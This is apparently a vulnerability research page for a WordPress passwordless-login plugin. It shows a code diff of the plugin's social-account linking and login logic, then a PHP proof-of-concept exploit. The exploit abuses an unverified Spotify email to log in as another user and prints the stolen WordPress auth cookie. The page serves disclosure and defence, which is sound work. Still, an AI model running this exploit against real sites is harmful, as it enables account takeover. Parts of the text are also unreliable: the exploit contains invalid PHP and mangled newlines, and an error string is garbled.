-        $normalized = $this->normalize_connections( $connections );
-        VentraConnectSocialLoginAdminSettingsPersistence::updateUserMeta( $user_id, self::META_CONNECTIONS, $normalized );
-    }
-
-    private function normalize_connections( array $connections ): array {
-        $by_slug = [];
-        foreach ( $connections as $conn ) {
-            $slug = self::normalize_provider_slug( $conn['provider'] ?? '' );
-            if ( ! $slug || in_array( $slug, self::EPHEMERAL_PROVIDERS, true ) ) { continue; }
-            $entry = [
-                'provider'         => $slug,
-                'provider_user_id' => sanitize_text_field( $conn['provider_user_id'] ?? '' ),
-                'email'            => sanitize_email( $conn['email'] ?? '' ),
-                'profile'          => [],
-                'tokens'           => is_array( $conn['tokens'] ?? null ) ? $conn['tokens'] : [],
-                'linked_at'        => $conn['linked_at'] ?? current_time( 'mysql' ),
-                'last_login_at'    => $conn['last_login_at'] ?? $conn['linked_at'] ?? current_time( 'mysql' ),
-            ];
-            if ( ! empty( $conn['profile'] ) && is_array( $conn['profile'] ) ) {
-                $entry['profile']['name']   = sanitize_text_field( $conn['profile']['name'] ?? '' );
-                $entry['profile']['avatar'] = esc_url_raw( $conn['profile']['avatar'] ?? '' );
-                $snapshot = is_array( $conn['profile']['snapshot'] ?? null ) ? $conn['profile']['snapshot'] : [];
-                $entry['profile']['snapshot'] = [
-                    'id'     => (string) ( $snapshot['id'] ?? '' ),
-                    'email'  => (string) ( $snapshot['email'] ?? '' ),
-                    'locale' => (string) ( $snapshot['locale'] ?? '' ),
-                    'flags'  => array_values( array_unique( array_filter( (array) ( $snapshot['flags'] ?? [] ) ) ) ),
-                ];
-            }
-            $existing = $by_slug[ $slug ] ?? null;
-            if ( $existing ) {
-                $existing_ts  = strtotime( $existing['last_login_at'] ?? '' ) ?: 0;
-                $candidate_ts = strtotime( $entry['last_login_at'] ?? '' ) ?: 0;
-                if ( $candidate_ts >= $existing_ts ) {
-                    if ( empty( $entry['linked_at'] ) ) {
-                        $entry['linked_at'] = $existing['linked_at'] ?? current_time( 'mysql' );
-                    }
-                    $by_slug[ $slug ] = $entry;
-                }
-            } else {
-                $by_slug[ $slug ] = $entry;
-            }
-        }
-        return array_values( $by_slug );
-    }
-}
+                $ctx_str        = (string) $ctx;
+
+                // Explicit core WP profile context.
+                if ( 'wp_profile' === $ctx_str ) {
+                    $is_profile_link = true;
+                } else {
+                    // Generic rule: any ctx containing "profile" or "account"
+                    // is treated as an account/profile page, not a login form.
+                    if ( false !== strpos( $ctx_str, 'profile' ) || false !== strpos( $ctx_str, 'account' ) ) {
+                        $is_profile_link = true;
+                    }
+                }
+
+                if ( $is_profile_link ) {
+                    $user_id = $current_user_id;
+                }
+            }
+        }
+
+        $is_x = ( 'twitter' === $provider );
+
+        if ( ! $user_id && $block_lifter_new_account ) {
+            return new WP_Error(
+                'ventraconnect_sl_lifter_new_account_blocked',
+                __( 'We couldn’t find a student account for this social login. Please register for an account first, then sign in with social.', 'ventraconnect-social-login' )
+            );
+        }
+
+        if ( ! $user_id && $block_learnpress_new_account ) {
+            return new WP_Error(
+                'ventraconnect_sl_learnpress_new_account_blocked',
+                __( 'We couldnƒ?Tt find a student account for this social login. Please use the LearnPress registration or checkout form to create your account first, then sign in with social.', 'ventraconnect-social-login' )
+            );
+        }
+
+          if ( ! $user_id && $block_memberpress_new_account ) {
+              return new WP_Error(
+                  'ventraconnect_sl_memberpress_new_account_blocked',
+                  __( 'We couldn't find an existing MemberPress account for this social login. Please complete your membership signup first, then sign in with social.', 'ventraconnect-social-login' )
+              );
+          }
+
+          if ( ! $user_id ) {
+            $guardrail_args = [
+                'email'    => $email,
+                'provider' => $provider,
+                'profile'  => $profile,
+            ];
+
+            $can_create = can_create_new_user_for_method( 'social', $ctx, $guardrail_args );
+
+            if ( ! $can_create ) {
+                $this->log_x_attempt( $provider, $email_granted, $email_error, false );
+                return new WP_Error(
+                    'ventraconnect_sl_new_accounts_disabled',
+                    __( 'You can’t create a new account with social login on this screen. Please register using the site’s sign-up form first, then sign in with your social account.', 'ventraconnect-social-login' )
+                );
+            }
+
+            if ( empty( $email ) && $is_x ) {
+                if ( ! $allow_new_account ) {
+                    $this->log_x_attempt( $provider, $email_granted, $email_error, false );
+                    return new WP_Error( 'ventraconnect_sl_wc_new_account_blocked', __( 'Creating a new WooCommerce account via social login is disabled. Please sign in with an existing account.', 'ventraconnect-social-login' ) );
+                }
+                $user_id = $this->find_user_by_connection( $provider, $pid );
+                if ( ! $user_id ) {
+                    $username = $this->unique_login_from_username( $profile['username'] ?? '', 'x_' . $pid );
+                    $args = [
+                        'user_login'   => $username,
+                        'user_pass'    => ventraconnect_sl_generate_internal_account_password(),
+                        'user_email'   => '',
+                        'display_name' => sanitize_text_field( $profile['name'] ?? ( $profile['username'] ?? $username ) ),
+                    ];
+                    $role = $this->resolve_social_login_role();
+                    if ( $role ) {
+                        $args['role'] = $role;
+                    }
+                    $user_id = wp_insert_user( $args );
+                    if ( is_wp_error( $user_id ) ) {
+                        $this->log_x_attempt( $provider, $email_granted, $email_error, false );
+                        return $user_id;
+                    }
+                    ventraconnect_sl_mark_passwordless_account_created( (int) $user_id, 'social_' . sanitize_key( (string) $provider ), $ctx );
+                    $is_new_user = true;
+                }
+            } else {
+                if ( ! $allow_new_account ) {
+                    $this->log_x_attempt( $provider, $email_granted, $email_error, false );
+                    return new WP_Error( 'ventraconnect_sl_wc_new_account_blocked', __( 'Creating a new WooCommerce account via social login is disabled. Please sign in with an existing account.', 'ventraconnect-social-login' ) );
+                }
+                $user_id = $this->find_user_by_connection( $provider, $pid );
+                if ( ! $user_id ) {
+                    $username = $this->unique_login_from_email_or_name( $email, $profile['name'] ?? ( $provider . '_' . $pid ) );
+                    $args     = [
+                        'user_login'   => $username,
+                        'user_pass'    => ventraconnect_sl_generate_internal_account_password(),
+                        'user_email'   => $email,
+                        'display_name' => sanitize_text_field( $profile['name'] ?? $username ),
+                    ];
+                    $role = $this->resolve_social_login_role();
+                    if ( $role ) {
+                        $args['role'] = $role;
+                    }
+                    $user_id = wp_insert_user( $args );
+                    if ( is_wp_error( $user_id ) ) {
+                        $this->log_x_attempt( $provider, $email_granted, $email_error, false );
+                        return $user_id;
+                    }
+                    ventraconnect_sl_mark_passwordless_account_created( (int) $user_id, 'social_' . sanitize_key( (string) $provider ), $ctx );
+                    $is_new_user = true;
+                }
+            }
+        }
+
+        if ( self::allow_store_provider( $provider ) ) {
+            $profile['email'] = $email;
+            $this->link_provider( $user_id, $provider, $pid, $profile, $tokens );
+        }
+
+        $current_user_before = get_current_user_id();
+        $should_set_auth     = ( 0 === $current_user_before ) || ( $user_id === $current_user_before );
+
+        if ( $should_set_auth ) {
+            wp_set_current_user( $user_id );
+            wp_set_auth_cookie( $user_id, true );
+            $userdata = get_userdata( $user_id );
+            if ( $userdata ) {
+                // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- core WordPress hook.
+                do_action( 'wp_login', $userdata->user_login, $userdata );
+            }
+        }
+
+        $this->log_x_attempt( $provider, $email_granted, $email_error, false );
+
+        return [
+            'user_id'     => (int) $user_id,
+            'is_new_user' => $is_new_user,
+        ];
+    }
+
+    /**
+     * Upsert provider connection for a user (idempotent per provider).
+     */
+    public function link_provider( int $user_id, string $provider, string $provider_user_id, array $profile = [], array $tokens = [] ) {
+        $provider = self::normalize_provider_slug( $provider );
+        if ( ! self::allow_store_provider( $provider ) ) {
+            return;
+        }
+        $provider_user_id = sanitize_text_field( $provider_user_id );
+
+        $owner = $this->find_user_by_connection( $provider, $provider_user_id );
+        if ( $owner && $owner !== $user_id ) {
+            $this->unlink( $owner, $provider );
+        }
+
+        $connections = $this->read_connections( $user_id );
+        $by_slug = [];
+        foreach ( $connections as $conn ) {
+            $slug = self::normalize_provider_slug( $conn['provider'] ?? '' );
+            if ( ! $slug ) { continue; }
+            $by_slug[ $slug ] = $conn;
+        }
+        $now = current_time( 'mysql' );
+        $existing = $by_slug[ $provider ] ?? null;
+        $linked_at = $existing['linked_at'] ?? $now;
+
+        $normalized = [];
+        if ( class_exists( 'VentraConnectSocialLoginProvidersVCS_Provider_Data', false ) ) {
+            $normalized = VentraConnectSocialLoginProvidersVCS_Provider_Data::normalize( $provider, (array) $profile );
+        }
+
+        $incoming_flags = [];
+        if ( ! empty( $profile['flags'] ) && is_array( $profile['flags'] ) ) {
+            foreach ( $profile['flags'] as $flag ) {
+                $incoming_flags[] = sanitize_key( $flag );
+            }
+        }
+        $existing_flags   = (array) ( $existing['profile']['snapshot']['flags'] ?? [] );
+        $normalized_flags = (array) ( $normalized['flags'] ?? [] );
+        $merged_flags = array_values( array_unique( array_filter( array_merge( $normalized_flags, $incoming_flags, $existing_flags ) ) ) );
+
+        $profile_payload = [
+            'name'   => sanitize_text_field( $normalized['display_name'] ?? $profile['name'] ?? ( $existing['profile']['name'] ?? '' ) ),
+            'avatar' => esc_url_raw( $normalized['avatar_url'] ?? $profile['avatar'] ?? ( $existing['profile']['avatar'] ?? '' ) ),
+            'snapshot' => [
+                'id'      => (string) ( $normalized['id'] ?? $profile['id'] ?? ( $existing['profile']['snapshot']['id'] ?? '' ) ),
+                'email'   => (string) ( $normalized['email'] ?? $profile['email'] ?? ( $existing['profile']['snapshot']['email'] ?? '' ) ),
+                'locale'  => (string) ( $normalized['locale'] ?? ( $existing['profile']['snapshot']['locale'] ?? '' ) ),
+                'flags'   => $merged_flags,
+            ],
+        ];
+
+        $tokens_payload = ( is_array( $tokens ) && ! empty( $tokens ) ) ? $tokens : ( $existing['tokens'] ?? [] );
+        $email = sanitize_email( $profile['email'] ?? '' );
+        if ( '' === $email ) {
+            $email = sanitize_email( $existing['email'] ?? '' );
+        }
+
+        $by_slug[ $provider ] = [
+            'provider'         => $provider,
+            'provider_user_id' => $provider_user_id,
+            'email'            => $email,
+            'profile'          => $profile_payload,
+            'tokens'           => $tokens_payload,
+            'linked_at'        => $linked_at,
+            'last_login_at'    => $now,
+        ];
+
+        $this->write_connections( $user_id, array_values( $by_slug ) );
+
+        $primary = VentraConnectSocialLoginAdminSettingsPersistence::getUserMeta( $user_id, self::META_PRIMARY, true, '' );
+        if ( '' === $primary ) {
+            $primary = VentraConnectSocialLoginAdminSettingsPersistence::getUserMeta( $user_id, 'ventraconnect_sl_last_login_provider', true, '' );
+        }
+        if ( ! $primary ) {
+            VentraConnectSocialLoginAdminSettingsPersistence::updateUserMeta( $user_id, self::META_PRIMARY, $provider );
+        }
+
+        // Detect whether this provider link is new for this user.
+        // If there was no existing row before upserting, treat as a new link.
+        $is_new_link = empty( $existing );
+
+        $event_profile = [
+            'provider_user_id' => $provider_user_id,
+            'email'            => $email,
+            'profile'          => $profile_payload,
+            'tokens'           => $tokens_payload,
+            // Expose "is_new_link" both as a dedicated arg and inside the payload
+            // so 3-arg listeners can still read it.
+            'is_new_link'      => $is_new_link,
+        ];
+
+        /**
+         * Fires after a provider has been linked to a user account.
+         *
+         * @since 1.1.0
+         */
+        do_action( 'ventraconnect_sl_social_linked', $user_id, $provider, $event_profile, $is_new_link );
+        do_action( 'ventraconnect_sl_after_user_linked', $user_id, $provider, $by_slug[ $provider ] );
+    }
+
+    /**
+     * Return normalized provider connections for a user.
+     */
+    public function get_connections( int $user_id ): array {
+        return $this->read_connections( $user_id );
+    }
+
+    /**
+     * Find user id by provider and provider_user_id (normalized scan).
+     */
+    public function find_user_by_connection( $provider, $provider_user_id ) {
+        $provider = self::normalize_provider_slug( $provider );
+        if ( ! self::allow_store_provider( $provider ) ) {
+            return 0;
+        }
+        $provider_user_id = sanitize_text_field( $provider_user_id );
+        $args = [
+            // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query -- Required for user lookup by provider, only runs on demand, not on every page load.
+            'meta_query' => [
+                [
+                    'key'     => self::META_CONNECTIONS,
+                    'compare' => 'EXISTS',
+                ],
+            ],
+            'number' => 50,
+            'fields' => 'ids',
+        ];
+        $users = get_users( $args );
+        foreach ( $users as $uid ) {
+            $conns = $this->read_connections( (int) $uid );
+            foreach ( $conns as $conn ) {
+                if ( self::normalize_provider_slug( $conn['provider'] ?? '' ) === $provider && ( $conn['provider_user_id'] ?? '' ) === $provider_user_id ) {
+                    return (int) $uid;
+                }
+            }
+        }
+        return 0;
+    }
+
+    /**
+     * Explicit unlink for settings UI.
+     */
+    public function unlink( $user_id, $provider ) {
+        $provider = self::normalize_provider_slug( $provider );
+        $connections = $this->read_connections( $user_id );
+        $connections = array_values( array_filter( $connections, function( $c ) use ( $provider ) {
+            return self::normalize_provider_slug( $c['provider'] ?? '' ) !== $provider;
+        } ) );
+        $this->write_connections( $user_id, $connections );
+        $primary = VentraConnectSocialLoginAdminSettingsPersistence::getUserMeta( $user_id, self::META_PRIMARY, true, '' );
+        if ( '' === $primary ) {
+            $primary = VentraConnectSocialLoginAdminSettingsPersistence::getUserMeta( $user_id, 'ventraconnect_sl_last_login_provider', true, '' );
+        }
+        if ( strtolower( $primary ) === $provider ) {
+            VentraConnectSocialLoginAdminSettingsPersistence::deleteUserMeta( $user_id, self::META_PRIMARY );
+            VentraConnectSocialLoginAdminSettingsPersistence::deleteUserMeta( $user_id, 'ventraconnect_sl_last_login_provider' );
+        }
+    }
+
+    private function woo_linking_rules(): array {
+        $defaults = [
+            'allow_new_account'  => true,
+        ];
+        $ctx_raw = filter_input( INPUT_POST, 'ventraconnect_sl_ctx', FILTER_UNSAFE_RAW, FILTER_NULL_ON_FAILURE );
+        if ( null === $ctx_raw || '' === $ctx_raw || false === $ctx_raw ) {
+            $ctx_raw = filter_input( INPUT_GET, 'ventraconnect_sl_ctx', FILTER_UNSAFE_RAW, FILTER_NULL_ON_FAILURE );
+        }
+        if ( null === $ctx_raw || '' === $ctx_raw || false === $ctx_raw ) {
+            return $defaults;
+        }
+        $ctx_raw = is_string( $ctx_raw ) ? $ctx_raw : '';
+        $ctx = sanitize_text_field( wp_unslash( $ctx_raw ) );
+        if ( 'checkout' !== $ctx ) { return $defaults; }
+        $settings = $this->get_wc_settings();
+        $linking = (array) ( $settings['linking'] ?? [] );
+        $defaults['allow_new_account']  = ! empty( $linking['allow_new_account'] );
+        return $defaults;
+    }
+
+    /**
+     * Determine which role should be applied to newly created users.
+     */
+    private function resolve_social_login_role(): ?string {
+        if ( class_exists( 'VentraConnectSocialLoginProHelpersUserRoles' ) ) {
+            $role = VentraConnectSocialLoginProHelpersUserRoles::resolve_default_social_role();
+            if ( is_string( $role ) && $role !== '' ) {
+                return $role;
+            }
+        }
+        return null;
+    }
+
+    private function get_wc_settings(): array {
+        if ( function_exists( 'VentraConnectSocialLoginModulesWooCommerceventraconnect_sl_wc_get_settings' ) ) {
+            return VentraConnectSocialLoginModulesWooCommerceventraconnect_sl_wc_get_settings();
+        }
+        return (array) apply_filters( 'ventraconnect_sl_wc_settings', [] );
+    }
+
+    /**
+     * Build a unique username.
+     */
+    private function unique_login_from_email_or_name( $email, $fallback ) {
+        $base = $email ? sanitize_user( current( explode( '@', $email ) ), true ) : sanitize_user( $fallback, true );
+        if ( empty( $base ) ) { $base = 'user_' . wp_generate_password( 6, false ); }
+        $login = $base;
+        $i = 1;
+        while ( username_exists( $login ) ) {
+            $login = $base . '_' . $i++;
+        }
+        return $login;
+    }
+
+    private function unique_login_from_username( $username, $fallback ) {
+        $base = sanitize_user( (string) $username, true );
+        if ( '' === $base ) {
+            return $this->unique_login_from_email_or_name( '', $fallback );
+        }
+        $login = $base;
+        $i = 1;
+        while ( username_exists( $login ) ) {
+            $login = $base . '_' . $i++;
+        }
+        return $login;
+    }
+
+    private function log_x_attempt( string $provider, $email_granted, string $email_error, bool $used_placeholder ): void {
+        if ( self::normalize_provider_slug( $provider ) !== 'twitter' ) {
+            return;
+        }
+        $granted = filter_var( $email_granted, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE );
+        if ( null === $granted ) {
+            $granted = (bool) $email_granted;
+        }
+        Logger::auth( 'x', [
+            'email_granted'    => $granted,
+            'email_error'      => $email_error,
+            'used_placeholder' => $used_placeholder,
+        ] );
+    }
+
+    /**
+     * Load and normalize connections for a user.
+     */
+    private function read_connections( int $user_id ): array {
+        $current = VentraConnectSocialLoginAdminSettingsPersistence::getUserMeta( $user_id, self::META_CONNECTIONS, true, [] );
+        if ( ! is_array( $current ) ) {
+            $current = [];
+        }
+        $normalized = $this->normalize_connections( $current );
+        if ( $normalized !== $current || ! metadata_exists( 'user', $user_id, self::META_CONNECTIONS ) ) {
+            VentraConnectSocialLoginAdminSettingsPersistence::updateUserMeta( $user_id, self::META_CONNECTIONS, $normalized );
+        }
+        // Drop any legacy mirror if present.
+        VentraConnectSocialLoginAdminSettingsPersistence::deleteUserMeta( $user_id, self::META_CONNECTIONS_LEGACY );
+        return $normalized;
+    }
+
+    private function write_connections( int $user_id, array $connections ): void {
+        $normalized = $this->normalize_connections( $connections );
+        VentraConnectSocialLoginAdminSettingsPersistence::updateUserMeta( $user_id, self::META_CONNECTIONS, $normalized );
+    }
+
+    private function normalize_connections( array $connections ): array {
+        $by_slug = [];
+        foreach ( $connections as $conn ) {
+            $slug = self::normalize_provider_slug( $conn['provider'] ?? '' );
+            if ( ! $slug || in_array( $slug, self::EPHEMERAL_PROVIDERS, true ) ) { continue; }
+            $entry = [
+                'provider'         => $slug,
+                'provider_user_id' => sanitize_text_field( $conn['provider_user_id'] ?? '' ),
+                'email'            => sanitize_email( $conn['email'] ?? '' ),
+                'profile'          => [],
+                'tokens'           => is_array( $conn['tokens'] ?? null ) ? $conn['tokens'] : [],
+                'linked_at'        => $conn['linked_at'] ?? current_time( 'mysql' ),
+                'last_login_at'    => $conn['last_login_at'] ?? $conn['linked_at'] ?? current_time( 'mysql' ),
+            ];
+            if ( ! empty( $conn['profile'] ) && is_array( $conn['profile'] ) ) {
+                $entry['profile']['name']   = sanitize_text_field( $conn['profile']['name'] ?? '' );
+                $entry['profile']['avatar'] = esc_url_raw( $conn['profile']['avatar'] ?? '' );
+                $snapshot = is_array( $conn['profile']['snapshot'] ?? null ) ? $conn['profile']['snapshot'] : [];
+                $entry['profile']['snapshot'] = [
+                    'id'     => (string) ( $snapshot['id'] ?? '' ),
+                    'email'  => (string) ( $snapshot['email'] ?? '' ),
+                    'locale' => (string) ( $snapshot['locale'] ?? '' ),
+                    'flags'  => array_values( array_unique( array_filter( (array) ( $snapshot['flags'] ?? [] ) ) ) ),
+                ];
+            }
+            $existing = $by_slug[ $slug ] ?? null;
+            if ( $existing ) {
+                $existing_ts  = strtotime( $existing['last_login_at'] ?? '' ) ?: 0;
+                $candidate_ts = strtotime( $entry['last_login_at'] ?? '' ) ?: 0;
+                if ( $candidate_ts >= $existing_ts ) {
+                    if ( empty( $entry['linked_at'] ) ) {
+                        $entry['linked_at'] = $existing['linked_at'] ?? current_time( 'mysql' );
+                    }
+                    $by_slug[ $slug ] = $entry;
+                }
+            } else {
+                $by_slug[ $slug ] = $entry;
+            }
+        }
+        return array_values( $by_slug );
+    }
+}
--- a/ventraconnect-social-login/ventraconnect-social-login.php
+++ b/ventraconnect-social-login/ventraconnect-social-login.php
@@ -1,721 +1,721 @@
-<?php
-/**
- * Plugin Name: Social Login, Passkeys, Magic Link & Email OTP – Passwordless Login by VentraConnect
- * Description:  Social login & passwordless login with Passkeys, Magic Link and Email OTP, plus Guardrails to control spam registrations.
- * Author: Fahad Aslam
- * Author URI: https://wpventra.com
- * Version: 1.4.3
- * Requires at least: 6.2
- * Tested up to: 7.0
- * Requires PHP: 7.4
- * Text Domain: ventraconnect-social-login
- * License: GPLv2 or later
- * License URI: https://www.gnu.org/licenses/gpl-2.0.html
- */
-
-if ( ! defined( 'ABSPATH' ) ) { exit; }
-
-// Add Settings link to plugin row actions on Plugins page.
-add_filter(
-    'plugin_action_links_' . plugin_basename( __FILE__ ),
-    function( $links ) {
-        $settings_url = admin_url( 'admin.php?page=ventraconnect-sl-settings' );
-        array_unshift(
-            $links,
-            '<a href="' . esc_url( $settings_url ) . '">' . esc_html__( 'Settings', 'ventraconnect-social-login' ) . '</a>'
-        );
-        return $links;
-    }
-);
-
-// Core constants.
-if ( ! defined( 'VENTRACONNECT_SL_VERSION' ) ) {
-    define( 'VENTRACONNECT_SL_VERSION', '1.4.3' );
-}
-if ( ! defined( 'VENTRACONNECT_SL_OTP_SECURITY_MIGRATION' ) ) {
-    define( 'VENTRACONNECT_SL_OTP_SECURITY_MIGRATION', '2026_06_24_otp_hmac_v1' );
-}
-if ( ! defined( 'VENTRACONNECT_SL_PLUGIN_FILE' ) ) {
-    define( 'VENTRACONNECT_SL_PLUGIN_FILE', __FILE__ );
-}
-if ( ! defined( 'VENTRACONNECT_SL_PLUGIN_DIR' ) ) {
-    define( 'VENTRACONNECT_SL_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
-}
-if ( ! defined( 'VENTRACONNECT_SL_PLUGIN_URL' ) ) {
-    define( 'VENTRACONNECT_SL_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
-}
-if ( ! defined( 'VENTRACONNECT_PASSKEYS_CORE_SUPPORTED' ) ) {
-    /**
-     * Whether the native Free passkey core can be considered supported.
-     *
-     * Important:
-     * - This is a PHP capability gate only.
-     * - WebAuthn runtime and vendor files must never be loaded below PHP 8.2.
-     * - Support here does not mean the Free runtime is active yet.
-     */
-    define( 'VENTRACONNECT_PASSKEYS_CORE_SUPPORTED', PHP_VERSION_ID >= 80200 );
-}
-
-// Passkeys core foundation bootstrap.
-if ( file_exists( VENTRACONNECT_SL_PLUGIN_DIR . 'includes/passkeys/core/bootstrap.php' ) ) {
-    require_once VENTRACONNECT_SL_PLUGIN_DIR . 'includes/passkeys/core/bootstrap.php';
-}
-
-if ( ! function_exists( 'ventraconnect_sl_maybe_upgrade_passkeys_core' ) ) {
-    /**
-     * Run the Free passkeys DB installer only when the PHP support gate is open.
-     *
-     * Important:
-     * - This prepares DB ownership only.
-     * - Native passkey runtime is still inactive in this phase.
-     * - This must never load vendor/WebAuthn runtime on unsupported PHP.
-     *
-     * @return void
-     */
-    function ventraconnect_sl_maybe_upgrade_passkeys_core() {
-        if ( ! defined( 'VENTRACONNECT_PASSKEYS_CORE_SUPPORTED' ) || ! VENTRACONNECT_PASSKEYS_CORE_SUPPORTED )

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-18961 - Social Login, Passkeys, Magic Link & Email OTP – Passwordless Login by VentraConnect <= 1.4.3 - Unauthenticated Authentication Bypass via Spotify OAuth Callback

/*
 * This PoC demonstrates the authentication bypass via the unverified email from Spotify.
 * It requires a valid Spotify OAuth access token obtained from an attacker-controlled Spotify app.
 * The attacker must set the email address on their Spotify account to match the target WordPress user's email.
 */

define('TARGET_URL', 'http://your-wordpress-site.com');

// The OAuth access token obtained from Spotify for a user whose email equals the target WP user's email.
$spotify_access_token = 'YOUR_SPOTIFY_ACCESS_TOKEN';

/**
 * Step 1: Fetch the Spotify profile. The 'email' field here is attacker-controlled and may not be verified.
 */
function get_spotify_profile($access_token) {
    $ch = curl_init('https://api.spotify.com/v1/me');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Authorization: Bearer ' . $access_token,
        'Accept: application/json'
    ]);
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    if ($http_code !== 200 || empty($response)) {
        die('[!] Failed to fetch Spotify profile. Ensure the access token is valid.n');
    }

    $profile = json_decode($response, true);
    if (!isset($profile['id']) || !isset($profile['email'])) {
        die('[!] Spotify profile does not contain the required ID or email fields.n');
    }

    return $profile;
}

/**
 * Step 2: Trigger the vulnerable callback with the attacker-controlled profile data.
 * The plugin uses these to authenticate the user, bypassing email verification.
 */
function trigger_vulnerable_callback(TARGET_URL $unused, $profile) {
    $callback_url = TARGET_URL . '/wp-admin/admin-ajax.php';
    $post_data = [
        'action'   => 'ventraconnect_sl_callback', // Adjust to match the plugin's actual AJAX action for the callback
        'provider' => 'spotify',
        'id'       => $profile['id'],
        'email'    => $profile['email'], // Unverified email directly used for user matching
        'name'     => $profile['display_name'] ?? 'poc_user',
        'avatar'   => $profile['images'][0]['url'] ?? ''
    ];

    $ch = curl_init($callback_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, true); // Capture headers to check for the auth cookie
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

    $response = curl_exec($ch);
    $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    $headers = substr($response, 0, $header_size);
    $body = substr($response, $header_size);

    echo "[+] Callback HTTP Status: " . $http_code . "n";
    echo "[+] Response Body: " . $body . "n";

    // Check for WordPress authentication cookie (wordpress_logged_in_*)
    if (preg_match('/Set-Cookie: wordpress_logged_in_([^=]+)=([^;]+)/i', $headers, $matches)) {
        echo "[+] Success! Authentication cookie obtained for the target user.n";
        echo "[+] Cookie Name: wordpress_logged_in_" . $matches[1] . "n";
        echo "[+] Cookie Value: " . $matches[2] . "n";
    } else {
        echo "[!] No authentication cookie set. Exploit may have failed or the plugin version is patched.n";
    }
}

// --- Main Execution ---
echo "[ ] Fetching Spotify profile...n";
$profile = get_spotify_profile($spotify_access_token);
echo "[+] Spotify Email (Unverified): " . $profile['email'] . "n";

echo "[ ] Triggering vulnerable callback...n";
trigger_vulnerable_callback(null, $profile);

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.